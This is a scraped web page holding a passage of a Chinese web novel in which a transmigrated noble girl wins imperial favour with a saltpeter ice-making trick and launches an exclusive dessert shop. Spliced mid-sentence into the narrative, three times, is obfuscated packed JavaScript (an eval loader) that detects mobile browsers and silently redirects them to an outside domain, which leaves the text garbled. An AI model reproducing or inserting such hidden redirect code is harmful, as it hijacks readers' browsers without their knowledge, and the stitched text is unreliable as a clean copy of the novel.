$(''.inform'').remove(); $(''#content'').append('' 群的最后面,麻木地听着,麻木地看着。她看着父亲和族老们那一张张欣喜若狂的脸,看着姐姐崔云熙那张虽依旧平静、却在接到圣旨时,眼底悄然泛起水光的脸,再看看母亲宋氏那张夹杂在喜悦人群中、却带着一丝深深忧虑的脸…… 她只觉得,眼前的一切,都像一出光怪陆离的荒诞戏剧。 而她,就是这出戏里,那个从头到尾都在白忙活,甚至还起到了反作用的、最可悲的小丑 。 婚约不仅没有解除,反而被她亲手用一种最意想不到的方式,加固到了前所未有的深度 。 崔家与东宫的绑定,在这一刻,达到了顶峰 。 她输了。 输得一败涂地,输得体无完肤,输得……啼笑皆非。 当晚,崔云姝终于走出了房门。她没有哭,也没有闹,只是平静地吃完了晚膳,平静地沐浴更衣,然后平静地坐在了书桌前。 那份深入骨髓的懊恼与羞耻,在经历了这场极致的荒诞之后,竟奇迹般地沉淀了下来,化为了一种前所未有的、冰冷刺骨的清醒 。 她看着眼前那堆积如山的、来自皇室的赏赐,那些金光闪闪的物件,在她眼中,不再是荣耀,而是一道道催命的符咒。 她终于彻底醒悟:对抗是行不通的 。 她就像一个妄图逆流而上的稚童,无论她如何挣扎,命运的洪流都会以一种更强大、更不可思议的方式,将她冲回既定的河道。 既然如此…… 既然无法斩断崔家和太子的关系,那就只能换条路走 。 她抬起头,目光落在了书桌一角那份被她搁置了许久的计划书上。那是她最初为了向圣人表忠心、为家族扬名而写下的“硝石制冰之法” 。 可现在,它的作用,不再是这些了。 崔云姝的眼神,逐渐从最初的迷茫、懊悔,变得锐利,变得坚定,最终,重新燃起了一股熊熊的斗志 。 如果太子谋反是注定的,如果崔家满门抄斩的结局无法避免,那她就必须在这剩下的、不到三年的时间里,为全家,为自己,准备好一条万全的后路! 既然要亡,那就轰轰烈烈地亡!她偏要在这既定的死亡结局到来之前,活出另一番天地! 她要开始疯狂地搞钱,用她脑子里那些超越这个时代的知识,去建立一个富可敌国的商业帝国 。 她要积蓄无可匹敌的实力 。 无论是为了将来,在太子真的走上那条不归路时,能有足够的资本去助力他,改变那必死的结局;还是……为了在太子失败之后,她能有足够的力量,带领全家,在那场灭顶之灾到来之前,扬帆出海,远遁他乡,彻底逃离这片是非之地 。 她都需要钱,需要势力,需要足以与皇权抗衡的、属于她自己的力量! 新的奋斗方向,在这一刻,被清晰地确立 。 崔云姝拿起笔,在那份“制冰之法”的计划书上,重重地画了一个圈。 这,将是她“曲线救国”的第一步。 15. 第 15 章 在经历了那场啼笑皆非的“倒反天罡”之后,崔云姝把自己关在房里,不是为了自怨自艾,而是用整整两日两夜的时间,进行了一场彻底的、刮骨疗毒般的复盘与新生。 当第三日的晨光再次照亮她的书案时,那个曾经懒散娇憨、不问世事的崔四姑娘,已经彻底死在了过去的时光里。取而代之的,是一个眼神清明、目标坚定,甚至带着几分冷酷决绝的全新灵魂。 她不再纠结于那本真假难辨的“书”,不再妄图去对抗那看似不可逆转的“剧情”。她接受了现实——崔家与东宫,这对看似荣耀的组合,在波诡云谲的朝局中,就是一艘被绑在了一起的、驶向未知风暴的巨轮。 既然无法解绑,那就为这艘船,打造出最坚固的船身,换上最强劲的引擎,储备最丰厚的物资 。 她将那份原本只为向圣人献媚扬名而写的《硝石制冰之法》计划书重新铺开,手边的狼毫笔蘸饱了墨,开始在其上奋笔疾书 。这一次,她的目的不再是虚无缥缈的圣眷与名声,而是最实在、最能攥在手心里的东西——钱。 是足以堆金砌玉,富可敌国的钱。 当她写下最后一个字,吹干墨迹时,一份厚达十几页、逻辑缜密、构思精巧的商业计划书,已然成型。 她没有丝毫犹豫,一改往日的懒散作风,甚至没让阿桃通传,便亲自捧着这份计划书,径直来到了母亲宋氏所居住的斐阁 。 彼时,宋氏正坐在窗边,手里拿着一本账册,眉宇间带着一丝淡淡的愁绪。自“太子案”后,府里的喜庆氛围日渐浓厚,唯有她,始终保持着一份清醒的忧虑。她知道,崔家如今看似风光无限,实则已是立于危墙之下,稍有不慎,便是万劫不复。 “阿娘。” 崔云姝的声音在门口响起。 宋氏抬起头,当她看清女儿的模样时,不由得微微一怔。 眼前的崔云姝,穿着一身利落的素色裙衫,长发用一根简单的玉簪束起,再无往日的娇憨与慵懒。她的身姿站得笔直,眼神清亮而坚定,那份沉淀下来的冷静与决断,完全不像一个年仅十三岁的少女,倒像一个久经沙场的将军,终于找到了自己要攻克的城池。 “姝儿?你……这是想通了?”宋氏放下账册,眼中闪过一丝欣慰。 “是,女儿想通了。”崔云姝走到母亲面前,将手中的计划书,郑重地放在了书案之上 。 她没有再提一句关于解除婚约的傻话,而是开门见山,直奔主题:“阿娘,女儿今日来,是想与您谈一笔生意。” “生意?”宋氏愈发诧异。 “对,一笔能为我们崔家,打造出足以应对任何风浪的实力的生意。”崔云姝的目光灼灼,声音清晰而有力,“阿娘说得对,君心难测,权势如浮云。既然崔家已经被绑在了东宫的战车上,再无退路,那我们便不能再将家族的命运,寄托于圣人的恩宠和太子的前途之上。我们必须拥有自己的力量,一种不依附于任何人、只属于我们自己的力量。” “而这力量,来源于财力。” 宋氏的心猛地一震。她难以置信地看着自己的女儿,仿佛第一天认识她一般。这番话,这份见识,竟是从那个往日里只知吃喝玩乐的小女儿口中说出! 崔云姝没有给母亲太多震惊的时间,她翻开计划书的第一页,开始详细阐述自己的商业构想。 “女儿的计划,核心便是此物——硝石制冰之法。此法,女儿不打算再献给圣人。” “为何?”宋氏下意识地问。匹夫无罪,怀璧其罪。这等奇术若不献上,恐招祸端。 “献,也要看怎么献。”崔云姝的嘴角勾起一抹自信的弧度,“若只是单纯献上法子,至多得些金银赏赐,一个‘聪慧’的虚名,于大局无益。女儿要做的,是以此法为根基,开创一个前所未有的商业帝国。待我们做大做强,做出让所有人都无法忽视的成就时,再将此法‘公之于众’,那便是利国利民的大功德,其意义远非今日献上可比。” 她指着计划书,继续道:“我们的第一步,便是开设一家高端甜品店。女儿连名字都想好了,就叫‘云间阁’。” “云间阁?”宋氏念着这个名字,眼中流露出思索之色。 “对,云起天上,意指其高端、尊贵,非寻常人所能及。”崔云姝的手指在纸上划过,她的声音里充满了感染力,“阿娘,您想,在这炎炎夏日,当所有人都被酷暑折磨得汗流浃背之时,若有一处清凉雅致的所在,能提供冰爽甜美的吃食,那会是何等的享受?这京城的王公贵胄、贵妇千金,又有谁能抵挡得住这样的诱惑?” “我们的‘云间阁’,将只开在京城最繁华的朱雀大街。店铺的装修,要用最顶级的工匠,风格要集雅致、清幽、奢华于一体,务必让每一个踏入其中的人,都感觉自己仿佛置身于云端仙境,与外界的凡俗酷暑彻底隔绝。” “我们的产品,将以各类冰品为主。女儿已经初步构想出了十数种花样,如果冻、冰沙、冰酪、奶茶……这些都是京中闻所未闻的新鲜吃食。每一种,我们都要赋予它一个诗意的名字,一个动人的品牌故事,让客人们吃的不仅仅是甜品,更是一种品味,一种风雅。” “最重要的一点,是我们的经营模式。”崔云姝的眼中闪烁着智慧的光芒,说出的话,更是让宋氏这个掌管着庞大中馈、精于算计的当家主母都感到心惊。 “我们要实行‘饥饿营销’和‘限量供应’。‘云间阁’每日只在固定时辰开门,且每款产品都限量制作,售完即止。想要入内消费,必须持有我们特制的会员卡。而这会员卡,初期只定向赠予京中身份最尊贵的五十位夫人小姐。如此一来,能拥有一张‘云间阁’的会员卡,能去‘云间阁’品尝一份冰品,便会成为一种身份和地位的象征。那些没得到卡的,只会想方设法地想要得到;而那些得到了卡的,则会为了炫耀这份尊贵,不自觉地为我们宣传。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367936|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>店铺选址、装修风格、产品定位、营销策略、品牌故事…… 崔云姝侃侃而谈,将一个充满了现代商业思维的、精妙绝伦的商业蓝图,清晰地展现在了宋氏面前。那份周密的计划,那份远超时代的眼光,那份对人心的精准把控,哪里还是一个十三岁的深闺少女?分明是一个运筹帷幄、决胜千里的商界巨擘! 宋氏彻底被震惊了 。 她呆呆地看着自己的女儿,手中的账册不知何时已经滑落。她原以为,女儿在经历那场风波后,能从天真的幻想中走出来,便已是最大的成长。却万万没有想到,她的女儿,竟是在一夜之间,脱胎换骨,蜕变成了一只即将展翅高飞的凤凰! 震惊过后,涌上心头的,是无与伦比的欣慰与骄傲 。 她知道,女儿长大了。 她也瞬间明白了女儿这份周密计划背后,那份沉甸甸的、未曾说出口的深意——为家族打造一条坚实的后路! 是啊,权势会更迭,圣眷会转移,唯有握在自己手中的财富和实力,才是最可靠的倚仗。当滔天巨浪来临时,一艘坚固的、装满了金银的船,远比一句虚无缥缈的“君恩浩荡”,更能保住一家人的性命。 “好……好一个‘云间阁’!好一个釜底抽薪的‘曲线救国’!”宋氏的眼中,第一次燃起了与女儿同样炙热的火焰。她心中所有的忧虑与不安,在这一刻,仿佛都找到了宣泄的出口。 她猛地一拍桌子,那份属于崔氏主母的果决与魄力,瞬间展露无遗。 “姝儿,你这个计划,阿娘准了!” 她站起身,走到内室,从一个上了锁的紫檀木箱子里,取出了一叠厚厚的房契和银票,重重地拍在崔云姝面前。 “这是我当年的嫁妆,也是我这些年经营所得的私产。铺子、人手、启动的资金,都从这里出。你放手去做,需要什么,只管与我说!钱不够,阿娘再去想办法!” “阿娘……”崔云姝看着眼前那几乎能买下半条街的资产,眼眶一热。 “傻孩子,”宋氏伸手,爱怜地抚摸着她的头顶,声音里充满了前所未有的坚定与支持,“你只管负责你那些天马行空的想法,负责做出那些能让全京城都为之疯狂的好东西。至于外面的那些迎来送往、打点关系、处理麻烦……所有这些沾染着铜臭与俗气的事情,都交给阿娘来!” “从今日起,你,是‘云间阁’的灵魂;而我,便是你最坚实的后盾,是为你扫平一切障碍的掌舵人!” 在这一刻,母女二人,正式结成了最稳固、最坚不可摧的商业同盟 。 崔云姝看着母亲眼中那闪烁着的、全然信任的光芒,感受着那份毫无保留的支持与爱护,心中涌起一股前所未有的暖流与斗志 。 她知道,她不再是孤军奋战。 她的“富可敌国”计划,她为全家打造“诺亚方舟”的宏伟蓝图,在这一刻,终于迈出了最坚实、也是最温暖的第一步 。 16.第 16 章 六月,盛夏。 骄阳似火,炙烤着巍峨的紫禁城。金色的琉璃瓦在烈日下反射着刺眼的光芒,连宫墙下的青石板路,都仿佛要被烤化了一般。空气中没有一丝风,沉闷而燥热,蝉鸣声嘶力竭,更添几分烦躁。 然而,皇城之内最宏伟的太和殿,此刻却是人声鼎沸,乐声鼎沸,一派歌舞升平的景象 。 今日,乃是当今圣上四十三岁的千秋圣寿 。 大殿之内,文武百官、皇亲国戚、内外命妇依品阶次序而坐,衣香鬓影,觥筹交错。殿中央,数十名舞姬正舒展着曼妙的腰肢,长长的水袖在空中划出优美的弧度,如流云,如飞雪。 崔云姝端坐于女眷席中,位于母亲宋氏的身侧。她穿着一身合乎规制的浅碧色宫装,梳着精致的垂挂髻,髻上只点缀着几颗圆润的东珠,不显张扬,却自有一股清雅贵气。她垂着眼帘,小口地品着面前的酸梅汤,看似乖巧安静,实则眼角的余光,早已将整个大殿的形势尽收眼底。 她的目光掠过高踞龙椅之上、神情威严的皇帝,掠过坐在皇帝下首、笑容温婉的王贵妃,掠过与王贵妃眉眼间有几分相似、神情阴郁的二皇子唐景明,最终,落在了储君席位上,那个身着杏黄色四爪蟒袍的青年身上。 太子唐景承。 他今日看起来精神不错,与身旁前来敬酒的官员谈笑风生,举手投足间自有一股储君的雍容气度。他的目光偶尔会投向女眷席这边,与崔云熙的视线在空中交汇,虽只是一瞬,那份旁人无法插足的默契与温情,却已不言而喻。 崔云姝的心中,没有半分波澜。 自那夜之后,她便彻底放下了对这段感情的任何干涉之念。她的战场,已经不再是这方寸之间的儿女情长。 她深吸一口气,压下心中那份因即将到来的“表演”而产生的紧张。今日,是她为“云间阁”铺下的第一块、也是最重要的一块基石。此前的种种准备,与父亲、兄长的再三商议,都将在今日,迎来最终的检验。 她的目的,早已不是当初那个天真的、只为向圣人表明忠心以求自保的想法了 。她要的,是一场最高级别的、足以轰动整个京城的品牌营销 [1]。她要让“云间阁”这个名字,在开业之前,就深深地烙印在京城最顶级的权力圈与消费圈的心中 。 酒过三巡,歌舞渐歇,献礼的环节,终于开始了。 各家王公贵族、文武大臣们,纷纷献上自己精心准备的寿礼。有前朝名家的字画,有雕工精绝的玉器,有海外进贡的奇珍异宝……每一样都价值连城,引来阵阵赞叹。 皇帝含笑一一收下,脸上却并无太多动容之色。身为天下之主,他什么样的奇珍异宝没有见过?这些礼物,于他而言,不过是臣子们的一份心意罢了。 终于,轮到了崔家。 在司礼太监尖细的唱喏声中,父亲崔温与二哥崔元珏一同离席,走到大殿中央,躬身行礼 。 “臣,中书令崔温,携犬子崔元珏,恭祝陛下圣躬万安,万寿无疆!” “平身。”皇帝的声音沉稳而威严。 “谢陛下。”崔温直起身,从袖中取出一份奏折,双手呈上,朗声道:“臣今日,不献金玉,不献珍玩,只为陛下献上一策。此策,可解我大秦立国以来,皇室宫廷夏日用冰之困!” 此言一出,整个大殿瞬间安静下来,所有人的目光都齐刷刷地投向了崔温 。 夏日用冰之困,乃是老大难的问题。大秦的冰,皆是冬日里从河中采集,藏于冰窖之中。然冰窖存冰,损耗巨大,往往十不存一。这些珍贵的冰块,仅够宫中份例最高的主子们日常消暑所用,想要大规模用于降温或是制作冰饮,根本是天方夜谭。每年盛夏,宫中因暑热而病倒的宫人、官员,不计其数。 崔温竟敢夸下海口,说能解决此等难题? 不少官员脸上都露出了怀疑之色,更有二皇子一派的官员,眼中闪过一丝讥诮,只等着看崔家如何收场。 皇帝也来了兴趣,他微微前倾身子,问道:“哦?崔爱卿有何良策,不妨当殿一试。” “遵旨!” 崔温对着崔元珏点了点头。崔元珏随即拍了拍手,早已候在殿外的几名崔府家仆,抬着几个大木盆和一袋看似寻常的白色粉末,走上殿来。 “此物,名为硝石。”崔温向皇帝解释道,“乃是一种寻常矿物,可用于制火药,亦可入药。臣近日偶得一古方,发现此物溶于水时,可大量吸热,令水温骤降,乃至结冰。” 说着,崔元珏已亲自上手演示。他命人将清水倒入一个大木盆中,再将一个小一些的、盛着清水的铜盆放入大盆之内,随即,将那袋白色的硝石粉末,尽数倒入大盆的水中,并用木棍快速搅拌。 所有人都屏息凝神地看着,大殿之内,只听得到木棍搅动水流的“哗哗”声。 神奇的一幕发生了! 不过一炷香的功夫,众人便清楚地看到,那大木盆的外壁上,竟凝结出了一层细密的水珠,继而,竟结出了一层薄薄的白霜!一股肉眼可见的寒气,从盆中丝丝缕缕地冒了出来。 “结……结冰了!”一个离得近的小太监忍不住失声惊呼。 崔元珏从容地将小铜盆取出,只见盆中的清水,已然凝结成了一块晶莹剔透的坚冰! “轰——” 整个大殿彻底炸开了锅! “天哪!点水成冰!此乃仙术啊!” “神乎其技!当真是神乎其技!” “有了此法,我等夏日里,何愁无冰可用!” 官员们议论纷纷,脸上写满了震惊与不可思议。他们看着那块在宫灯下散发着寒气的坚冰,仿佛在看一件绝世的珍宝 。 二皇子唐景明的脸色瞬间变得无比难看,他死死地盯着那块冰,眼神阴郁得几乎要滴出水来。他知道,崔家此举,又为太子一系,立下了一桩天大的功劳。 龙椅之上,皇帝更是“霍”地一下站了起来,他快步走下御阶,亲自来到那铜盆前,伸手触摸了一下那块坚冰。那刺骨的冰凉触感,让他脸上的威严瞬间被巨大的惊喜所取代。 “好!好!好!”他连道了三声好,转头看着崔温,龙颜大悦,“崔爱卿,你此番献上的,非是奇策,乃是国之重器!解我大秦百年之忧,当记首功!” “臣不敢居功。”崔温连忙躬身,“此法……实非臣所创。” “哦?”皇帝一愣。 就在这时,崔云姝在母亲宋氏鼓励的目光中,缓缓离席。她走到父亲身边,对着皇帝,行了一个标准无瑕的宫礼 。 “臣女崔云姝,叩见陛下。” 她的声音清脆如黄莺出谷,在这偌大的宫殿中,清晰地传到每个人耳中。 “是你?”皇帝看着眼前这个年岁不大,却眉眼精致、气质从容的少女,认出她便是崔家那个以懒散闻名的四姑娘,眼中闪过一丝诧异。 “回陛下,”崔温在一旁解释道,“此制冰之法,正是小女偶然间从一本古籍残卷中翻得,并亲手试验成功的。臣与犬子,不过是代为献上罢了。” 众人闻言,看向崔云姝的目光,瞬间又变了。震惊、赞叹、好奇、嫉妒……不一而足。 崔云姝对周遭的目光恍若未觉,她只是抬起头,脸上带着一丝少女的娇憨与得意,笑道:“陛下,制冰之法,不过是臣女献给陛下的第一份贺礼。臣女还为陛下,准备了第二份。” 说着,她对着殿外轻轻拍了拍手。 早已候命多时的阿桃,带领着十数名身着统一青绿色裙衫的俏丽婢女,每人手中都捧着一个盖着明黄绸布的大托盘,迈着细碎而平稳的步子,鱼贯而入 。 当她们走到大殿中央,将托盘上的绸布一一揭开时,整个大殿之内,再次响起了一片倒吸凉气的声音。 那是一场视觉的盛宴。 只见那一个个巨大的白玉盘中,盛放着数十种造型各异、色彩缤纷的冰品。有的被精心雕琢成牡丹、莲花的模样,花瓣晶莹剔透,仿佛一碰即碎;有的被塑造成鲤鱼、麒麟的形状,栩栩如生,活灵活现;还有的,则被盛放在精致的琉璃盏中,五颜六色的果肉与冰晶交相辉映,宛如一件件巧夺天工的艺术品。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370387|183896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “此宴,名为‘琼脂冰酪宴’。”崔云姝的声音再次响起,带着一丝恰到好处的骄傲,“乃是臣女以石花菜熬制琼脂,辅以鲜果、牛乳,再用方才的制冰之法冰镇而成。” 她顿了顿,继续用充满诱惑力的语调介绍道:“此物不仅口感冰爽甜美,更能清凉解暑、生津止渴。夏日里食之,可涤荡五脏六腑之燥热,有益身心。还请陛下与各位娘娘、殿下、大人们品尝。” 太监们小心翼翼地将一盏盏最精美的冰酪,呈送至皇帝、皇后与各位妃嫔、皇子的案前。 皇帝看着面前那盏被雕成龙形的芒果冰酪,金黄剔透,龙鳞毕现,早已是食指大动。他拿起配套的银勺,舀了一小口,送入口中。 冰凉、香甜、软糯、爽滑…… 一股难以言喻的、极致的清凉与甜蜜,瞬间在口腔中炸开,顺着喉咙一路滑下,仿佛将夏日所有的燥热与沉闷,都在这一刻涤荡得干干净净! “妙!妙啊!”皇帝的眼睛瞬间亮了,他忍不住又舀了一大口,脸上的惊喜与满足,溢于言表。 有了皇帝带头,其余众人也纷纷动勺。 一时间,大殿之内,只听得到一片此起彼伏的、满足的赞叹声。 “此物只应天上有,人间难得几回闻啊!” “冰爽入心,甜而不腻,当真是绝品!” 太子唐景承尝了一口面前的樱桃冰酪,目光投向那个正亭亭玉立于殿下的未来小姨子,眼中充满了激赏与赞许 [1]。他知道,崔云姝此举,不仅是为崔家,更是为他东宫,挣足了脸面。 而另一边,二皇子唐景明则面色铁青,他看着自己面前那盏精美绝伦的冰品,却怎么也提不起品尝的兴致。他手中的银勺,几乎要被他捏得变了形。他恨,恨崔家总能别出心裁地讨得父皇欢心,更恨自己身边,为何就没有这等能为自己挣来荣耀的奇女子! “崔云姝!”皇帝放下银勺,高声唤道,声音里充满了前所未有的愉悦。 “臣女在。” “你今日献上的两份贺礼,朕……心甚悦之!”皇帝朗声大笑,“你聪慧过人,心思机敏,当赏!来人!赏崔氏女崔云姝黄金千两,东珠百颗,上等绸缎五十匹!” “臣女谢陛下隆恩!”崔云姝盈盈拜倒。 “不仅如此,”皇帝兴致正高,他看着崔云姝,越看越是满意,大手一挥,再次开口,“朕今日,便亲口御封你为‘冰雪郡主’!虽是虚衔,却也是朕对你的一份嘉奖!” 冰雪郡主! 崔云姝心中狂喜,面上却是一副受宠若惊的惶恐模样,再次叩首:“臣女惶恐,何德何能,敢受陛下如此恩赏!” “你当得起!”皇帝笑着摆了摆手,他端起酒杯,看着殿下众人,意有所指地笑道,“此等消暑解热的绝世美食,若只朕一人独享,岂非憾事?依朕看,当与民同乐才是啊!” 来了! 崔云姝的心脏激动得几乎要跳出胸膛!她等的,就是这句话! 这句金口玉言,无异于给了“云间阁”一张护身符,一道通行整个大秦的最高许可证! 她立刻抓住这个千载难逢的机会,再次叩首,声音清亮地回道:“陛下圣明!臣女亦有此意!臣女正计划,在京中开设一家小小的甜品店铺,将此等冰品稍作改良,以平价售卖,也好让京中的寻常百姓,在炎炎夏日里,也能品尝到一二,沾一沾陛下的天恩浩荡!” 她这番话说得极为巧妙,将自己的商业计划,包装成了响应圣人号召、与民同乐的善举。 “哦?竟有此事?”皇帝闻言,更是高兴,“好!此乃大善之举!你那店铺何时开张,朕让内务府也送一份贺礼去!” “谢陛下天恩!”崔云姝再次叩首,心中一块大石彻底落地。 她抬起头,迎着满朝文武那或惊或羡的目光,心中一片澄明。 她知道,从今日起,“云间阁”这个名字,将插上翅膀,飞遍京城的每一个角落。而她的“富可敌国”计划,也终于在天子脚下,在万众瞩目中,扬起了它华丽的、无可阻挡的船帆 。 17.第 17 章 圣寿大宴之后,“冰雪郡主”崔云姝与其即将开张的神秘甜品店“云间阁”,一夜之间,成了整个京城上流社会最热门的话题 。 皇帝的金口玉言,其分量远胜过任何形式的宣传 。那一句“此等美食,当与民同乐”,不仅为“云间阁”镀上了一层耀眼的皇家光环,更吊足了所有人的胃口。那些在宴会上亲口品尝过“琼脂冰酪宴”的王公贵胄、内外命妇们,更是对其滋味念念不忘,逢人便要绘声绘色地描述一番,言语间充满了回味与向往。 一时间,人人都想知道,能让圣人龙颜大悦、亲口御封郡主名号的冰品,究竟是何等的人间绝味?那即将开在朱雀大街的“云间阁”,又会是怎样一番神仙景致? 在这样万众瞩目的、被刻意营造的期待氛围中,崔云姝与母亲宋氏,却并未急于求成。她们按部就班,不疾不徐地进行着开业前的最后准备。 店铺的选址,是宋氏动用自己的人脉,从一位致仕的老尚书手中盘下的一处三层临街旺铺,位置正对朱雀大街,是整个京城地价最贵、人流量最大的黄金地段 。 店铺的装修,更是由宋氏亲自监工,请来了京城最好的工匠,完全按照崔云姝那份超越时代的设计图纸来施工。一砖一瓦,一草一木,都务求尽善尽美 。整整一个月的时间,店铺始终被高高的围挡遮蔽,任凭外界如何猜测,都窥探不到其内里分毫,更是将这份神秘感渲染到了极致。 终于,在七月初七,这个充满了浪漫与巧思的乞巧节,“云间阁”揭开了它神秘的面纱,正式开阁迎客 。 【女主视角】 开业当日,崔云姝并没有亲临现场。她只是像往常一样,待在自己的清姝院里,听着阿桃派人一趟趟传回来的实时消息。 她知道,她这张“冰雪郡主”的王牌,不能轻易打出去。藏于幕后,保持神秘,才能将“云间阁”的格调与价值,维持在最高点。前台的一切,她都放心地交给了自己最信任的、经过严格培训的阿桃,以及母亲宋氏精心挑选的一批机灵貌美的侍女。 “姐儿!姐儿!来了!都来了!”第一个回报的小厮,几乎是连滚带爬地冲进院子,脸上是无法抑制的狂喜与激动,“咱们送出请柬的五十位夫人小姐,全都到了!吏部尚书夫人、安国公府的老太君、平阳长公主……全都来了!咱们店门口的马车,都快排到街尾了!” 崔云姝闻言,只是淡淡一笑,拿起笔,在一张宣纸上,轻轻落下了一个“起”字。 一切,尽在预料之中。 “云间阁”的店铺,完全颠覆了京城所有人对商铺的认知。 它没有传统店铺那种敞开式的门面,而是以一扇精雕细琢的紫檀木月洞门作为入口。门前,两株姿态虬劲的迎客松青翠欲滴,一条由雨花石铺就的小径蜿蜒而入,两侧是潺潺的流水与精心布置的假山奇石。若非门楣上悬挂着由当朝大儒亲笔题写的“云间阁”三字牌匾,路过的人,怕是会以为这是哪位大人物的私家园林。 踏入月洞门,更是别有洞天。 一层的大堂并未摆放太多桌椅,而是营造出一种空灵雅致的氛围。地面铺着光可鉴人的青石板,中央是一座小小的水池,池中几尾锦鲤悠然游弋,几朵睡莲静静绽放。四周墙壁上挂着名家字画,角落里燃着清雅的熏香,空气中流淌着舒缓的古琴声。 侍女们穿着统一的、由崔云姝亲自设计的青绿色襦裙,身姿娉婷,笑容可掬,轻声细语地引导着每一位宾客。 “姐儿!不得了了!客人们都看傻了!”第二个回报的小厮,声音都在发颤,“她们都说,从未见过这般雅致的铺子!好多夫人小姐,一进来就不是为了吃东西,光是这店里的景致,就让她们流连忘返,赞不绝口了!” 崔云姝微微一笑,落笔写下第二个字:“承”。 “云间阁”的经营模式,更是让所有初次到来的贵妇贵女们,体验到了一种前所未有的“尊贵”与“新奇”。 店内实行会员制,只有收到崔云姝以“冰雪郡主”名义送出的、用鎏金花笺特制的请柬的客人,才有资格在开业首日入内 。 店内的消费模式也与众不同。没有传统的小二吆喝点单,而是由侍女为每位客人奉上一份制作精美的菜单。菜单以画册的形式呈现,每一页都由画师精心绘制出一款冰品的模样,旁边配以诗意的名字和一段动人的小故事。 比如招牌主打的“贵妃醉”,便是一碗用荔枝果肉与牛乳制成的冰沙,菜单旁的故事,便化用了贵妃醉酒的典故,言其滋味甜美,能解千愁。 再比如“踏雪寻梅”,则是用酸梅汤冻成的冰酪,点缀着几颗鲜红的樱桃,故事便讲述了一位文人墨客在冬日赏梅时,偶得灵感,创制此品的风雅逸事。 这种全新的体验,让那些平日里养尊处优、见惯了奢华的贵妇贵女们,感到了前所未有的新奇与满足。 “姐儿!卖疯了!真的卖疯了!”第三个回报的小厮,几乎是喊出来的,“咱们准备的三百份冰品,不到一个时辰,就全部售罄了!好多没点到的夫人,都在跟阿桃姐抱怨呢!还有……还有咱们的会员卡,已经有人私下里出到一百两银子一张,想要从那些有请柬的夫人手里买了!” 崔云姝的脸上,终于露出了一丝满意的笑容。她提笔,写下了第三个字:“转”。 第一桶金,到手了 。 而且,远比她预想的,要来得更猛烈,更成功 。 她知道,从今日起,能进入“云间阁”品尝一份冰品,将成为一种身份和品味的象征,成为京城贵女圈中最新的风尚 。她的“搞钱”计划,旗开得胜。 【男主视角】 西境的尘沙,还未从戎装的缝隙中完全抖落,安郡王府的小王爷唐璞,便再次回到了这个他既熟悉又有些厌烦的京城 。 他刚刚结束了为期三个月的边疆巡防,回京述职 。与军营里那份简单纯粹的铁血生涯相比,京城的繁华与虚伪,总让他感到一丝格格不入。 他骑着马,不紧不慢地走在朱雀大街上,本想直接回府,却被前方一阵异乎寻常的喧闹所吸引 。 只见街道的一侧,一家从未见过的店铺门口,此刻竟是人山人海,车水马龙。数十辆装饰华丽的马车将道路堵得水泄不通,一群群穿着绫罗绸缎的贵妇贵女,正被各自的婢女簇拥着,或兴高采烈地从店铺里走出,或满脸遗憾地在门口徘徊,似乎是想进去而不得。 “这是……在做什么?”唐璞勒住马,好奇地问向身旁的亲兵。 亲兵连忙上前打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他意识到,崔云姝,这个看似天真无邪的少女,绝非表面那般简单。 她所做的这一切,从春日宴上的布局,到圣寿宴上的献礼,再到今日“云间阁”的横空出世,都带着某种强烈的、不为人知的目的性 。 她就像一个最高明的棋手,正在下一盘很大的棋。而这京城里的所有人,似乎都成了她棋盘上的棋子。 她究竟想做什么? 她口中的“三年后”,又到底会发生什么? 唐璞心中那份最初的好奇,在这一刻,正式转变为了一种强烈的、想要一探究竟的探究欲 。 他决定,他要亲自揭开这个谜团,看看这位神秘的崔四小姐,葫芦里究竟卖的什么药。 他放下银勺,起身离去,那双深邃的眸子里,闪烁着猎人发现猎物时,才有的兴奋光芒。 而这一切,都通过母亲宋氏安插在店里的眼线,一字不漏地传回了清姝院。 崔云姝听完唐璞到访的整个过程,只是淡淡一笑,提笔,在那张宣纸上,写下了最后一个字。 “合”。 她知道,鱼儿,已经上钩了。 18.第 18 章 “云间阁”的横空出世,如同一块巨石投入京城这潭深水,激起的涟漪久久未能平息。它不仅为崔云姝带来了第一桶金,更让她这个“冰雪郡主”的名号,与“富贵”、“风雅”、“神秘”等词汇紧紧地联系在了一起。 然而,对于崔云姝而言,这仅仅是她庞大计划的开始。 商业上的成功,只是为了积蓄力量。而这力量,最终要服务的,是那条唯一能通往“生”的道路。在这条路上,她不仅需要钱,更需要人。需要能够深入权力中枢,为她、为崔家,提供最直接庇护的自己人。 她的目光,自然而然地落在了自己的二哥——如今的东宫伴读,崔元珏身上 。 是夜,月色如霜。 崔云姝没有让阿桃通传,而是亲自提着一盏小巧的莲花灯,以讨论“云间阁”账目为由,深夜造访了崔元珏的书房 。 